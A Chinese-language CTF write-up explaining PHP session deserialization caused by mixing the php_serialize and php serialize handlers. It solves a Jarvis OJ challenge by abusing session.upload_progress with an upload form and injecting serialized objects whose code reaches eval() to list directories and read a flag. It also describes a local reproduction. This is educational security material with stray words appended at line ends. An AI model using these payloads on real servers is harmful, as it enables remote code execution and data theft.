0x00前言:php
php存储session有三种模式,php_serialize, php, binaryhtml
这里着重讨论php_serialize和php的不合理使用致使的安全问题java
关于session的存储,java是将用户的session存入内存中,而php则是将session以文件的形式存储在服务器某个tmp文件中,能够在php.ini里面设置session.save_path存储的位置web
设置序列化规则则是shell
注意,php_serialize在5.5版本后新加的一种规则,5.4及以前版本,若是设置成php_serialize会报错数组
session.serialize_handler = php 一直都在 它是用 |分割
session.serialize_handler = php_serialize 5.5以后启用 它是用serialize反序列化格式分割
首先看session.serialize_handler = php序列化的结果安全
它的规则是$_SESSION是个数组,数组中的键和值中间用 | 来分割,值若是是数组或对象按照序列化的格式存储服务器
而后看看session.serialize_handler = php_serialize的序列化结果session
它是全程按照serialize的格式序列化了$_SESSION这个数组函数
它比php的格式多了个最前面多了个 "a:2:{ ...." 也就是$_SESSION这个数组有2个元素,还有个区别在于,它的键名也代表了长度和属性,中间用 ; 来隔开键值对
虽然2个序列化格式自己没有问题,可是若是2个混合起用就会形成危害
造成原理是在用session.serialize_handler = php_serialize存储的字符能够引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时 "|"会被当成键值对的分隔符
好比,我先用php存了个数组,在$_SESSION['b']的值里面加入 | ,并在以后写成一个数组的序列化格式
若是正常的用php_serialize解析,它返回的是$_SESSION['b']是个长度为44的字符串
若是用php进行解析,发现它理解为一个很长的名字的值是一个带了2个元素的数组
0x01一道CTF题目:
题目是道网上经常拿来作例子的一道php反序列化题目
题目链接:http://web.jarvisoj.com:32784/
源码已经给出,以下
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
可以查看phpinfo,因而发现全局用的php_serialize进行序列化,而这个页面是以php来进行解析的
那么能够利用上面的理论进行事先准备个$this->mdzz= 'payload' 进行攻击
问题是怎么将payload写入session,这里php有个上传文件的会将文件名写入session的技巧
https://bugs.php.net/bug.php?id=71101
原文意思大体要求知足如下2个条件就会写入到session中
session.upload_progress.enabled = On
上传一个字段的属性名和session.upload_progress.name的值相,这里根据上面的phpinfo信息看得出,值为PHP_SESSION_UPLOAD_PROGRESS,即
name="PHP_SESSION_UPLOAD_PROGRESS"
写好脚本
<html> <head> <title>upload</title> </head> <body> <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html>
注意这里 "PHP_SESSION_UPLOAD_PROGRESS" 的 value不能为空
这里根据题目的类,须要修改mdzz这个属性,因而写个php生成payload,由于看看phpinfo的禁用函数,能调用系统的函数都被ban了,因而只能用var_dump,scandir和file_get_contents来读取flag
<?php class OowoO { public $mdzz = "var_dump(scandir('./'));"; function __destruct() { eval($this->mdzz); } } $a = new OowoO(); echo serialize($a) . "<br>"; ?>
生成payload
O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}
固然这个是不行的,咱们要稍微改一下,"要转义,前面加个|
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:24:\"var_dump(scandir('./'));\";}
先随便传个文件,把包抓下来,把文件名改为咱们的payload
可以查看到根目录的状况了
网上有个payload是直接用
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
我由于太菜最早没想到,因而去看了下phpinfo的session的存放位置,有个/opt/lampp/估计是装的的xampp这个集成的环境,而这个集成环境的web页面放在htdocs目录下的
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"var_dump(scandir('/opt/lampp/'));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir('/opt/lampp/htdocs/'));\";}
看到flag文件了
接下来是读取,这里额外提一句file_put_contents和fie_get_contents可以使用php://filter伪协议,但这里用var_dump导出来,不是文件包含,看下源码就能找打答案
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";}
0x03环境复现:
由于最早学习这道题的时候想看看session文件,因而在本地搭建了个环境
<?php ini_set('session.serialize_handler', 'php'); session_start(); var_dump($_SESSION); echo "<br>"; class test { public $wd; function __destruct() { eval($this->wd); } } ?>
最早我用一个文件直接生产用php_serialize规则序列化并直接存在session中
而后访问模拟搭建的页面,漏洞可以利用成功
因而我改用文件上传的形式,结果死活无法生成正确的session
再看看session文件,啥都没写入
这是为何,想了一夜,看了看phpinfo的信息,上传保留session的enabled是默认开启的,session.upload_progress.name也是默认
上传的html页面能在上面的ctf题中成功运行,说明不是上传的请求头格式问题
payload若是写入session文件中也能正常触发phpinfo
可是如今的问题是session写不进去,因而估计是配置问题了。
我再读了遍:https://bugs.php.net/bug.php?id=71101
发现它给出它的运行环境的配置,因而我按照它的ini对应的配置,再配了遍本身的php.ini,发现不少配置都是被注释掉的,也就是默认的值
最后成功执行了
session文件也写入了,能够仔细看看写的session文件内容
由于用php解析了,为了使解析格式正确,它直接丢掉了些 },若是正常解析的话,能够看出多了不少键值对,可是正是由于用php解析, |前面的全部字符都当作键名,然后面的payload则被反序列化,形成漏洞利用
再回到为何以前不行,如今能够运行的问题上,最后我测试了是 session.upload_progress.cleanup这个参数
session.upload_progress.cleanup = Off
这个要为Off或者0,才能将上传的内容保存到session,可是,php默认的是On,全部最早死活传不上去